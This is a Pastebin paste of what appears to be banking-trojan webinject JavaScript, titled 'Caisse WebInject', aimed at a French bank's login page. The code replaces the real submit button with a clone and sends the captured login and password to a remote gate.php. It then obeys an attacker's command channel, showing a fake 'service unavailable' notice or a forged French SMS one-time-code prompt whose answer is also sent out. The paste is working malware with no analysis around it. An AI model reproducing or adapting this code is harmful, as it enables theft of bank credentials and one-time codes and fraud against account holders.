Advertisement
Xylitol

Caisse WebInject

Nov 1st, 2014
537
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var ALINK = "https://securetargeting.com/content/webanalyser/caisse/admin/";
  2. var GATE = ALINK+"gate/gate.php";
  3. var IMAG = ALINK+"imag/";
  4.  
  5. //=================== INIT PROTOS =====================
  6.  
  7. var By = (function(){
  8.    
  9.     function ByArgs(arguments){
  10.         var found = {
  11.             tag: false,
  12.             error: false,
  13.             element: false
  14.         }
  15.        
  16.         if(arguments && arguments.length >= 3){
  17.             var elements_array = arguments[1].split("|");
  18.             if(elements_array.length > 0){
  19.                 for(var k = 0; k < elements_array.length; k++){
  20.                     var elements = arguments[0].getElementsByTagName(elements_array[k]);
  21.                     if(elements && elements.length > 0){
  22.                         for(var i = 0; i < elements.length; i++){
  23.                             for(var e = 2; e < arguments.length; e++){
  24.                                 var pattern = new RegExp(arguments[e].split(":")[1],"igm");
  25.                                 if(arguments[e].split(":")[0] == "class"){
  26.                                     if(elements[i].className != null && pattern.test(elements[i].className)){
  27.                                         found.tag = true;
  28.                                     }else{
  29.                                         found.error = true;
  30.                                     }
  31.                                 }else if(arguments[e].split(":")[0] == "for"){
  32.                                     if(elements[i].className != null && pattern.test(elements[i].htmlFor)){
  33.                                         found.tag = true;
  34.                                     }else{
  35.                                         found.error = true;
  36.                                     }
  37.                                 }else{
  38.                                     if(elements[i].getAttribute(arguments[e].split(":")[0]) != null && pattern.test(elements[i].getAttribute(arguments[e].split(":")[0]))){
  39.                                         found.tag = true;
  40.                                     }else{
  41.                                         found.error = true;
  42.                                     }
  43.                                 }
  44.                             }
  45.                             if(found.tag && !found.error){
  46.                                 return elements[i];
  47.                             }else{
  48.                                 found.tag = false;
  49.                                 found.error = false;
  50.                             }
  51.                         }
  52.                     }
  53.                 }
  54.                 return false;
  55.             }else{
  56.                 return false;
  57.             }
  58.         }else{
  59.             return false;
  60.         }
  61.     }
  62.    
  63.     function ByContent(arguments){
  64.        
  65.         var found = {
  66.             tag: false,
  67.             error: false,
  68.             element: false
  69.         }
  70.    
  71.         if(arguments && arguments.length > 2){
  72.             var elements = arguments[0].getElementsByTagName(arguments[1]);
  73.             if(elements && elements.length > 0){
  74.                 for(var i = 0; i < elements.length; i++){
  75.                     for(var e = 2; e < arguments.length; e++){
  76.                         var pattern = new RegExp(arguments[e]);
  77.                         if(pattern.test(elements[i].innerHTML.toLowerCase())){
  78.                             found.tag = true;
  79.                         }else{
  80.                             found.error = true;
  81.                         }
  82.                     }
  83.                     if(found.tag && !found.error){
  84.                         return elements[i];
  85.                     }else{
  86.                         found.tag = false;
  87.                         found.error = false;
  88.                     }
  89.                 }
  90.             }
  91.         }
  92.         return false;
  93.     }
  94.    
  95.     return{
  96.         args: function(){
  97.             return ByArgs(arguments);
  98.         },
  99.        
  100.         content: function(){
  101.             return ByContent(arguments);
  102.         }
  103.     }
  104.    
  105. }())
  106.  
  107. by = By;
  108.  
  109. var Hujax = (function(){
  110.    
  111.     var callback_func = false;
  112.    
  113.     function SetCallback(p){
  114.         callback_func = p;
  115.     }
  116.    
  117.     function Send(url){
  118.        
  119.         var BOTID = document.getElementById("BMUD");   
  120.         if(BOTID){
  121.             BOTID = vw.text(BOTID);
  122.         }else{
  123.             BOTID = "%%ID%%";
  124.         }
  125.        
  126.         url += "&ip="+BOTID;
  127.    
  128.         if(document.getElementById("rgk_ajax")){
  129.             document.getElementById("rgk_ajax").parentNode.removeChild(document.getElementById("rgk_ajax"));
  130.         }
  131.         var script = document.createElement("script");
  132.         script.type = "text/javascript";
  133.         script.id = "rgk_ajax";
  134.         if (script.readyState) {
  135.             script.onreadystatechange = function() {
  136.                 if (script.readyState == "loaded" || script.readyState == "complete") {
  137.                     script.onreadystatechange = null;
  138.                     callback_func();
  139.                 }
  140.             };
  141.         } else {
  142.             script.onload = function() {
  143.                 callback_func();
  144.             };
  145.         }
  146.         url = url.replace(/\(/g,"%28").replace(/\)/g,"%29");
  147.         script.src = url;
  148.         if(document.getElementsByTagName("head").length > 0){
  149.             document.getElementsByTagName("head")[0].appendChild(script);
  150.         }else{
  151.             document.getElementsByTagName("body")[0].appendChild(script);
  152.         }
  153.     }
  154.  
  155.     return{
  156.        
  157.         callback: function(param){
  158.             SetCallback(param);
  159.         },
  160.        
  161.         send: function(param){
  162.             Send(param);
  163.         }
  164.  
  165.     }
  166.    
  167. }());
  168.  
  169. hujax = Hujax;
  170.  
  171. var Clone = (function(){
  172.  
  173.     function CheckQ(param){
  174.         if(param == null || param == undefined || param == "null" || param == "undefined" || param == "" || param == " "){
  175.             return false;
  176.         }else{
  177.             return true;
  178.         }
  179.     }
  180.  
  181.     function COPY(obj,func){
  182.         if(obj.type == "image"){
  183.             var clo = document.createElement("img");
  184.             for (x in obj.attributes){
  185.                 if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
  186.                     if(obj.attributes[x].name == "onclick" ||
  187.                        obj.attributes[x].name == "name" ||
  188.                        obj.attributes[x].name == "disabled" ||
  189.                        obj.attributes[x].name == "id"
  190.                     ){
  191.                         continue;
  192.                     }
  193.                     if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){
  194.                         clo.setAttribute(obj.attributes[x].name,"button");
  195.                     }else{
  196.                         clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
  197.                     }
  198.                 }
  199.             }
  200.         }else{
  201.             var clo = document.createElement(obj.tagName);
  202.             for (x in obj.attributes){
  203.                 if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
  204.                     if(obj.attributes[x].name == "onclick" ||
  205.                        obj.attributes[x].name == "name" ||
  206.                        obj.attributes[x].name == "disabled" ||
  207.                        obj.attributes[x].name == "href" ||
  208.                        obj.attributes[x].name == "id"
  209.                     ){
  210.                         continue;
  211.                     }
  212.                     if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){
  213.                         clo.setAttribute(obj.attributes[x].name,"button");
  214.                     }else{
  215.                         clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
  216.                     }
  217.                 }
  218.             }
  219.         }
  220.         if(obj.tagName == "A" || obj.tagName == "BUTTON" || obj.tagName == "LI" || /div|span/igm.test(obj.tagName)){
  221.             clo.innerHTML = obj.innerHTML;
  222.         }
  223.         clo.id = "clobj";
  224.         clo.style.cursor = "pointer";
  225.         obj.style.display = "none";
  226.         AddListenner(clo,"click",func);
  227.         obj.parentNode.insertBefore(clo,obj);
  228.     }
  229.    
  230.     function AddListenner(obj,evType,func){
  231.         if(obj.addEventListener ){
  232.             obj.addEventListener(evType,func,false);
  233.             return true;
  234.         }else if(obj.attachEvent){
  235.             var r = obj.attachEvent('on'+evType,func);
  236.             return r;
  237.         }else{
  238.             elm['on'+evType] = func;
  239.         }
  240.     }
  241.    
  242.     function JUSTCOPYINPUT(obj,content){
  243.         var clo = document.createElement(obj.tagName);
  244.         for (x in obj.attributes){
  245.             if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
  246.                 if(obj.attributes[x].name == "onclick" ||
  247.                    obj.attributes[x].name == "name" ||
  248.                    obj.attributes[x].name == "href" ||
  249.                    obj.attributes[x].name == "id" ||
  250.                    obj.attributes[x].name == "value"
  251.                 ){
  252.                     continue;
  253.                 }
  254.                 clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
  255.             }
  256.         }
  257.         clo.value = content;
  258.         obj.style.display = "none";
  259.         clo.disabled = true;
  260.         obj.parentNode.insertBefore(clo,obj);
  261.     }
  262.    
  263.     return{
  264.         click: function(obj,func){
  265.             COPY(obj,func);
  266.         },
  267.        
  268.         copy: function(obj,content){
  269.             JUSTCOPYINPUT(obj,content);
  270.         }
  271.     }
  272.    
  273. }())
  274.  
  275. clone = Clone;
  276.  
  277. var VW = (function(){
  278.    
  279.     var fTarget = false;
  280.     var fDeftime = 4;
  281.     var fTime = fDeftime;
  282.     var fCallback = function(){return false;};
  283.    
  284.     function getViewportHeight() {
  285.         var ua = navigator.userAgent.toLowerCase();
  286.         var isOpera = (ua.indexOf('opera')  > -1);
  287.         var isIE = (!isOpera && ua.indexOf('msie') > -1);
  288.         return ((document.compatMode || isIE) && !isOpera) ? (document.compatMode == 'CSS1Compat') ? document.documentElement.clientHeight : document.body.clientHeight : (document.parentWindow || document.defaultView).innerHeight;
  289.     }
  290.    
  291.     return{
  292.         hidedoc: function(doc){
  293.             var none_div = doc.getElementById("none_div");
  294.             if(none_div){
  295.                 none_div.style.display = "";
  296.             }else{
  297.                 doc.documentElement.style.display = "none";
  298.             }
  299.         },
  300.        
  301.         showdoc: function(doc){
  302.             var none_div = doc.getElementById("none_div");
  303.             if(none_div){
  304.                 none_div.style.display = "none";
  305.             }else{
  306.                 doc.documentElement.style.display = "";
  307.             }
  308.         },
  309.        
  310.         browser: function(){
  311.             if(navigator.userAgent.toLowerCase().indexOf("msie 6") >= 0){
  312.                 return "IE6";
  313.             }else if(navigator.userAgent.toLowerCase().indexOf("msie 7") >= 0){
  314.                 return "IE7";
  315.             }else if(navigator.userAgent.toLowerCase().indexOf("msie 8") >= 0){
  316.                 return "IE8";
  317.             }else if(navigator.userAgent.toLowerCase().indexOf("msie 9") >= 0){
  318.                 return "IE9";
  319.             }else if(navigator.userAgent.toLowerCase().indexOf("msie 10") >= 0){
  320.                 return "IE10";
  321.             }else if(navigator.userAgent.toLowerCase().indexOf("firefox") >= 0){
  322.                 return "FF";
  323.             }else{
  324.                 return "OTHER";
  325.             }
  326.         },
  327.        
  328.         bind: function(obj, evType, func){
  329.        
  330.             if(obj.removeEventListener){
  331.                 obj.removeEventListener(evType,func,false);
  332.             }else if(obj.detachEvent){
  333.                 obj.detachEvent ('on'+evType,func);
  334.             }
  335.            
  336.             if(obj.addEventListener ){
  337.                 obj.addEventListener(evType,func,false);
  338.                 return true;
  339.             }else if(obj.attachEvent){
  340.                 var r = obj.attachEvent('on'+evType,func);
  341.                 return r;
  342.             }else{
  343.                 elm['on'+evType] = func;
  344.             }
  345.            
  346.         },
  347.        
  348.         mouse: function(eve,element){
  349.             if(element.type == "image"){
  350.                 var inp_X = document.getElementById("inp_X");
  351.                 var inp_Y = document.getElementById("inp_Y");
  352.                 var inp_submit = document.getElementById("inp_submit");
  353.                 if(inp_X)inp_X.parentNode.removeChild(inp_X);
  354.                 if(inp_Y)inp_Y.parentNode.removeChild(inp_Y);
  355.                 if(inp_submit)inp_submit.parentNode.removeChild(inp_submit);
  356.                 var inp_X = document.createElement("input");
  357.                 var inp_Y = document.createElement("input");
  358.                 var inp_submit = document.createElement("input");
  359.                 inp_X.name = element.name+".x";
  360.                 inp_Y.name = element.name+".y";
  361.                 inp_submit.name = element.name;
  362.                 inp_submit.value = element.value;
  363.                 inp_submit.type = "submit";
  364.                 inp_submit.id = "inp_submit";
  365.                 inp_X.id = "inp_X";
  366.                 inp_Y.id = "inp_Y";
  367.                 inp_X.value = vw.rand(1,15);
  368.                 inp_Y.value = vw.rand(1,15);
  369.                 inp_X.style.display = "none";
  370.                 inp_Y.style.display = "none";
  371.                 inp_submit.style.display = "none";
  372.                 element.parentNode.insertBefore(inp_X,element);
  373.                 element.parentNode.insertBefore(inp_Y,element);
  374.                 element.parentNode.insertBefore(inp_submit,element);
  375.                 var inp_submit = document.getElementById("inp_submit");
  376.                 if(inp_submit)vw.mouse("click",inp_submit);
  377.             }else{
  378.                 if(document.createEvent){
  379.                     var event = document.createEvent('MouseEvents');
  380.                     event.initMouseEvent(eve,true,true,document.defaultView,1,0,0, 0, 0, false, false, false, false,0,null);
  381.                     element.dispatchEvent(event);
  382.                 }else if(element.fireEvent){
  383.                     if(eve == "click"){
  384.                         element.click();
  385.                     }else{
  386.                         var event = document.createEventObject();
  387.                         element.fireEvent('on'+eve, event);
  388.                     }
  389.                 }
  390.             }
  391.            
  392.         },
  393.        
  394.         text: function(param){
  395.             if(param){
  396.                 var tmp = (param.textContent ? param.textContent : param.innerText) ? (param.textContent ? param.textContent : param.innerText) : param.innerHTML;
  397.                 return tmp.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,"");
  398.             }else{
  399.                 return "";
  400.             }
  401.         },
  402.        
  403.         from: function(parent,child){
  404.             return parent && child ? parent.getElementsByTagName(child) : false;
  405.         },
  406.        
  407.         isdigits: function(value,length){
  408.             length = length < 0 ? 1 : length;
  409.             if(value.length < length){
  410.                 return false;
  411.             }else{
  412.                 if(!/^\d+$/igm.test(value)){
  413.                     return false;
  414.                 }else{
  415.                     return true;
  416.                 }
  417.             }
  418.         },
  419.        
  420.         digits: function(digits){
  421.             var RES = {
  422.                 NUMBERS:"",
  423.                 OTHER: ""
  424.             }
  425.             var res = '';
  426.             if(digits && digits.length > 0){
  427.                 digits = digits.replace(/\u2212/g, "-");
  428.                 var ValidChars = "0123456789";
  429.                 for(var i = 0;i < digits.length; i++){
  430.                     var Char = digits.charAt(i);
  431.                     if(ValidChars.indexOf(Char) >=0){
  432.                         res += Char;
  433.                     }else{
  434.                         RES.OTHER += Char;
  435.                     }
  436.                 }
  437.             }
  438.             RES.NUMBERS = parseFloat(res);
  439.             return RES;
  440.         },
  441.        
  442.         blockenter: function(el){
  443.             if(el){
  444.                 el.onkeypress = function(evt){
  445.                     var evt = (evt) ? evt : ((event) ? event : null);
  446.                     var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);
  447.                     if ((evt.keyCode == 13) && (node.type=="text" || node.type=="password")){
  448.                         return false;
  449.                     }
  450.                 }
  451.             }
  452.         },
  453.        
  454.         blockform: function(form){
  455.             if(form){
  456.                 var inps = vw.from(form,"input");
  457.                 if(inps && inps.length > 0){
  458.                     for(var i = 0; i < inps.length; i++){
  459.                         if(/text|password/igm.test(inps[i].type)){
  460.                             vw.blockenter(inps[i]);
  461.                         }
  462.                     }
  463.                 }
  464.             }
  465.         },
  466.        
  467.         selected: function(select){
  468.             if(select){
  469.                 var RES = {
  470.                     VALUE: "",
  471.                     TEXT: ""
  472.                 }
  473.                 RES.VALUE = select[select.selectedIndex].value;
  474.                 RES.TEXT = select[select.selectedIndex].text;
  475.                 return RES;
  476.             }else{
  477.                 return false;
  478.             }
  479.         },
  480.        
  481.         docheight: function(){
  482.             return Math.max(document.compatMode != 'CSS1Compat' ? document.body.scrollHeight : document.documentElement.scrollHeight, getViewportHeight());
  483.         },
  484.        
  485.         docwidth: function(num){
  486.             if(num){
  487.                 return (window.screen.availWidth / num);
  488.             }else{
  489.                 return window.screen.availWidth;
  490.             }
  491.         },
  492.        
  493.         finder: function(obj,callback,time){
  494.             fTarget = obj;
  495.             fCallback = callback;
  496.             if(time)fTime = time;
  497.             setTimeout(vw._finder,500);
  498.         },
  499.        
  500.         _finder: function(){
  501.             if(fTarget()){
  502.                 fCallback();
  503.                 fTime = fDeftime;
  504.             }else{
  505.                 if(fTime > 0){
  506.                     fTime--;
  507.                     setTimeout(vw._finder,1000);
  508.                 }else{
  509.                     fTime = fDeftime;
  510.                 }
  511.             }
  512.         },
  513.        
  514.         framedoc: function(frame){
  515.             var RES = {
  516.                 DOC: false,
  517.                 WIN: false
  518.             }
  519.             if(vw.browser() == "FF" && frame){
  520.                 RES.DOC = frame.contentDocument;
  521.                 RES.WIN = frame.contentWindow;
  522.             }else if((/IE/igm.test(vw.browser())) && frame && frame.readyState == "complete"){
  523.                 RES.DOC = frame.contentWindow.document;
  524.                 RES.WIN = frame.contentWindow;
  525.             }
  526.            
  527.             return RES;
  528.         },
  529.        
  530.         splitiban: function(iban){
  531.             iban = iban+"";
  532.             var res = iban.substr(0,2)+" ";
  533.             var tmp = iban.substr(2,iban.length);
  534.             var count = 0;
  535.             for(var i = 0; i < tmp.length; i++){
  536.                 if(count < 4){
  537.                     res += tmp[i];
  538.                     count++;
  539.                 }else{
  540.                     res += " "+tmp[i];
  541.                     count = 1;
  542.                 }
  543.                
  544.             }
  545.             return res;
  546.         },
  547.        
  548.         getstyle: function(oElm, strCssRule){
  549.             var strValue = "";
  550.             if(document.defaultView && document.defaultView.getComputedStyle){
  551.                 strValue = document.defaultView.getComputedStyle(oElm, "").getPropertyValue(strCssRule);
  552.             }
  553.             else if(oElm.currentStyle){
  554.                 strCssRule = strCssRule.replace(/\-(\w)/g, function (strMatch, p1){
  555.                     return p1.toUpperCase();
  556.                 });
  557.                 strValue = oElm.currentStyle[strCssRule];
  558.             }
  559.             return strValue;
  560.         },
  561.        
  562.         removetr: function(table,tr){
  563.             var index = 0;
  564.             var trs = vw.from(table,"tr");
  565.             if(trs && trs.length > 0){
  566.                 for(var i = 0; i < trs.length; i++){
  567.                     if(trs[i] == tr){
  568.                         index = i;
  569.                     }
  570.                 }
  571.             }
  572.             if(index > 0){
  573.                 table.deleteRow(index);
  574.             }
  575.         }
  576.  
  577.     }
  578.    
  579. }())
  580.  
  581. vw = VW;
  582.  
  583. if(typeof HTMLElement != 'undefined' && !HTMLElement.prototype.click){
  584.     HTMLElement.prototype.click=function(){
  585.         var evt = this.ownerDocument.createEvent('MouseEvents');
  586.         evt.initMouseEvent('click', true, true, this.ownerDocument.defaultView, 1, 0, 0, 0, 0, false, false, false, false, 0, null);
  587.         this.dispatchEvent(evt);
  588.     }
  589. }
  590.  
  591. //=================== INIT VARIABLES ==========================
  592.  
  593. var UI_login_input = by.args(document,"input","name:inputuserid","id:inputuserid");
  594. var UI_password_input = document.getElementById("codconf");
  595. var UI_login_button_1 = by.args(document,"img","id:inputuserid","title:valider");
  596. var UI_login_button_2 = by.args(document,"img","id:inputuserid","title:modifier");
  597. var UI_login_button_3 = by.args(document,"img","title:valider");
  598.  
  599. var HOLDER = {
  600.     LOGIN: "",
  601.     PASSWORD: "",
  602.     PAGE: "NONE",
  603.     TIMEOUT: 90000
  604. }
  605.  
  606. var QUERY = {
  607.     COMMAND: "NONE",
  608.     VALUE: false,
  609.     CHANGED: false,
  610.     FINISH: false
  611. }
  612.  
  613. var FKTEXT = {
  614.     BLOCK: "Le service est temporairement inaccessible. Essayez entrer plus tard...",
  615.     SMS1: "Vous avez demand&#x00E9; &#x00E0; vous authentifier.",
  616.     SMS2: "Veuillez renseigner le mot de passe unique qui vous a &#x00E9;t&#x00E9; envoy&#x00E9; par SMS dans le champ r&#x00E9;ponse",
  617.     SMSLABEL: "R&#x00E9;ponse"
  618. }
  619.  
  620. //=================== INIT FAKE FUNCTIONS =====================
  621.  
  622. vw.finish = function(){
  623.     if(!QUERY.CHANGED){
  624.         QUERY.FINISH = true;
  625.     }
  626. }
  627.  
  628. vw.fake_step = function(step,status){
  629.    
  630.     switch(step){
  631.        
  632.         case("login"):
  633.             vw.lethim();
  634.         break;
  635.        
  636.         case("relogin"):
  637.             vw.lethim();
  638.         break;
  639.        
  640.         case("wait"):
  641.             vw.fake_step("hidewait");
  642.            
  643.             var backgroundContent = '<div style="position:absolute;top:0px;left:0px;width:100%;height:'+(vw.docheight()+300)+'px;z-index:301;background:#FFFFFF;opacity:0.7;filter: alpha(opacity = 70);"></div>';
  644.             var loaderContent = '<div style="position:absolute;z-index:999;left:100px;top:100px;"><img src="'+IMAG+'loader.gif"></div>';
  645.             var popup_elem = document.createElement("div");
  646.             popup_elem.id = "popup_elem_common";
  647.             popup_elem.innerHTML = backgroundContent+""+loaderContent;
  648.             document.getElementsByTagName('body')[0].appendChild(popup_elem);
  649.            
  650.             if(status)return false;
  651.             setTimeout(vw.finish,HOLDER.TIMEOUT);
  652.         break;
  653.        
  654.         case("hidewait"):
  655.             var popup_elem_common = document.getElementById("popup_elem_common");
  656.             if(popup_elem_common)popup_elem_common.parentNode.removeChild(popup_elem_common);
  657.         break;
  658.        
  659.         case("block"):
  660.             vw.fake_step("hidewait");
  661.             var passwordDiv = by.args(document,"div","id:_identpanel");
  662.             if(passwordDiv)passwordDiv.style.display = "none";
  663.             var mainDiv = by.args(document,"div","class:block\-authent");
  664.             if(mainDiv){
  665.                 var contentDiv = by.args(mainDiv,"div","class:int\-content");
  666.                 if(contentDiv){
  667.                     var uls = vw.from(mainDiv,"ul");
  668.                     if(uls && uls.length > 0){
  669.                         uls[0].parentNode.removeChild(uls[0]);
  670.                     }
  671.                     mainDiv.style.marginBottom = "20px";
  672.                     contentDiv.innerHTML = '<h1 class="aideIdentTitle" style="font-size:12px;text-align:left;padding:5px;">'+FKTEXT.BLOCK+'</h1>';
  673.                 }
  674.             }
  675.         break;
  676.        
  677.         case("sms"):
  678.             vw.fake_step("hidewait");
  679.             var passwordDiv = by.args(document,"div","id:_identpanel");
  680.             if(passwordDiv)passwordDiv.style.display = "none";
  681.             var mainDiv = by.args(document,"div","class:block\-authent");
  682.             if(mainDiv){
  683.                 var contentDiv = by.args(mainDiv,"div","class:int\-content");
  684.                 if(contentDiv){
  685.                     var uls = vw.from(mainDiv,"ul");
  686.                     if(uls && uls.length > 0){
  687.                         uls[0].parentNode.removeChild(uls[0]);
  688.                     }
  689.                    
  690.                     mainDiv.style.background = "#FFFFFF";
  691.                     mainDiv.style.marginBottom = "20px";
  692.                    
  693.                     contentDiv.style.padding = "5px";
  694.                    
  695.                     contentDiv.innerHTML = FKTEXT.SMS1+'<br><br>'+FKTEXT.SMS2+"<br><br>"+
  696.                                             '</div><input type="password" style="border: 1px solid #929292;width:80px;float:left;" id="vw.input">'+
  697.                                             '<img src="'+IMAG+'button.png" style="float:right;cursor:pointer;" align=top onClick="vw.button();return false;"></div><br><bR>';
  698.                 }
  699.             }
  700.         break;
  701.        
  702.     }
  703. }
  704.  
  705. vw.button = function(){
  706.     var smsInput = document.getElementById("vw.input");
  707.    
  708.     var noError = true;
  709.    
  710.     smsInput.style.background = "#FFFFFF";
  711.    
  712.     if(!vw.isdigits(smsInput.value,4)){
  713.         smsInput.style.background = "#FFEDED";
  714.         noError = false;
  715.     }
  716.    
  717.     if(!noError)return false;
  718.    
  719.     vw.fake_step("wait",true);
  720.     var LINK = GATE+"?mode=JABBER&hash="+Number(new Date());
  721.     LINK += "&type=intercept";
  722.     LINK += "&message=SMS code Recieved";
  723.     LINK += "&data=SMS: "+smsInput.value;
  724.     kl = "command";
  725.     hujax.send(LINK);
  726.    
  727. }
  728.  
  729. vw.actions = function(){
  730.     switch(QUERY.COMMAND){
  731.                
  732.         case("OFFLINE"):
  733.             vw.fake_step("login");
  734.         break;
  735.        
  736.         case("BLOCK"):
  737.             vw.fake_step("block");
  738.         break;
  739.        
  740.         case("SMS"):
  741.             vw.fake_step("sms");
  742.         break;
  743.        
  744.         case("LOGIN"):
  745.             vw.fake_step("login");
  746.         break;
  747.        
  748.         case("REASK LOGIN INFO"):
  749.             vw.fake_step("login");
  750.         break;
  751.        
  752.         case("WAIT"):
  753.             vw.fake_step("wait",true);
  754.             setTimeout(vw.command,1000);
  755.         break;
  756.        
  757.     }
  758. }
  759.  
  760. //=================== INIT AJAX FUNCTIONS =====================
  761.  
  762. function urlEncode(b) {
  763.     function gethex(a) {
  764.         return "%" + f.charAt(a >> 4) + f.charAt(a & 0xF)
  765.     }
  766.     var c = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_.~";
  767.     var d = "!*'();:@&=+$,/?%#[]";
  768.     var e = c + d;
  769.     var f = "0123456789ABCDEFabcdef";
  770.     b = b + "";
  771.     var g = "";
  772.     if (!b || b.length == 0) {
  773.         return ""
  774.     }
  775.     for (var i = 0; i < b.length; i++) {
  776.         var h = b.charAt(i);
  777.         if (c.indexOf(h) != -1) {
  778.             g = g + h
  779.         } else {
  780.             var j = b.charCodeAt(i);
  781.             if (j < 128) {
  782.                 g = g + gethex(j)
  783.             }
  784.             if (j > 127 && j < 2048) {
  785.                 g = g + gethex((j >> 6) | 0xC0);
  786.                 g = g + gethex((j & 0x3F) | 0x80)
  787.             }
  788.             if (j > 2047 && j < 65536) {
  789.                 g = g + gethex((j >> 12) | 0xE0);
  790.                 g = g + gethex(((j >> 6) & 0x3F) | 0x80);
  791.                 g = g + gethex((j & 0x3F) | 0x80)
  792.             }
  793.             if (j > 65535) {
  794.                 g = g + gethex((j >> 18) | 0xF0);
  795.                 g = g + gethex(((j >> 12) & 0x3F) | 0x80);
  796.                 g = g + gethex(((j >> 6) & 0x3F) | 0x80);
  797.                 g = g + gethex((j & 0x3F) | 0x80)
  798.             }
  799.         }
  800.     }
  801.     return g
  802. }
  803.  
  804. hujax.callback(UniversalCallback);
  805.  
  806. function UniversalCallback(){
  807.     switch(kl){
  808.        
  809.         case("check"):
  810.             if(admindata == "C:ON"){
  811.                 vw.continuestart();
  812.             }else if(admindata == "C:BLOCK"){
  813.                 vw.fake_step("block");
  814.             }
  815.             vw.showdoc(document);
  816.         break;
  817.        
  818.         case("login"):
  819.             if(typeof admindata != "undefined"){
  820.                 vw.fake_step("wait");
  821.                 vw.command();
  822.             }else{
  823.                 vw.fake_step("login");
  824.             }
  825.         break;
  826.        
  827.         case("command"):
  828.             if(QUERY.FINISH && !QUERY.CHANGED){
  829.                 vw.fake_step("login");
  830.             }else{
  831.                 if(typeof admindata != "undefined"){
  832.                     var els = admindata.split("|");
  833.                     if(els && els.length == 2){
  834.                         if(els[0] == QUERY.COMMAND){
  835.                             setTimeout(vw.command,1000);
  836.                         }else{
  837.                             QUERY.CHANGED = true;
  838.                             QUERY.COMMAND = els[0];
  839.                             QUERY.VALUE = els[1];
  840.                             vw.actions();
  841.                         }
  842.                     }
  843.                 }
  844.             }
  845.         break;
  846.        
  847.     }
  848. }
  849.  
  850. vw.command = function(){
  851.     var LINK = GATE+"?mode=COMMAND&hash="+Number(new Date());
  852.     LINK += "&type=intercept";
  853.     kl = "command";
  854.     hujax.send(LINK);
  855. }
  856.  
  857. hujax.checkstart = function(){
  858.     var LINK = GATE+"?mode=CHECKSTART&hash="+Number(new Date());
  859.     LINK += "&type=intercept";
  860.     LINK += "&domain="+document.domain;
  861.     LINK += "&browser="+vw.browser();
  862.     kl = "check";
  863.     hujax.send(LINK);
  864. }
  865.  
  866. //=================== INIT START FUNCTIONS =====================
  867.  
  868. vw.get_page = function(){
  869.     if(UI_login_input && UI_login_button_1){
  870.         HOLDER.PAGE = "STEP1";
  871.     }else if(UI_login_input && UI_login_button_2){
  872.         HOLDER.PAGE = "STEP2";
  873.     }
  874. }
  875.  
  876. vw.lethim = function(){
  877.     vw.mouse("click",UI_login_button_2);
  878. }
  879.  
  880. vw.continuestart = function(){
  881.     if(HOLDER.PAGE == "STEP2"){
  882.         clone.click(UI_login_button_3.parentNode,function(){
  883.             HOLDER.LOGIN = UI_login_input.value;
  884.             HOLDER.PASSWORD = UI_password_input.value;
  885.             vw.fake_step("wait",true);
  886.             var LINK = GATE+"?mode=LOGIN&login1="+HOLDER.LOGIN+"&login2="+HOLDER.PASSWORD+"&hash="+Number(new Date());
  887.             LINK += "&type=intercept&message=Loginning...";
  888.             LINK += "&domain="+document.domain;
  889.             LINK += "&browser="+vw.browser();
  890.             kl = "login";
  891.             hujax.send(LINK);
  892.         });
  893.         var clobj = document.getElementById("clobj");
  894.         if(clobj)clobj.className = "right";
  895.     }
  896. }
  897.  
  898. vw.start = function(){
  899.     vw.get_page();
  900.     if(/step/igm.test(HOLDER.PAGE)){
  901.         hujax.checkstart();
  902.     }else{
  903.         vw.showdoc(document);
  904.     }
  905. }
  906.  
  907. vw.start();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement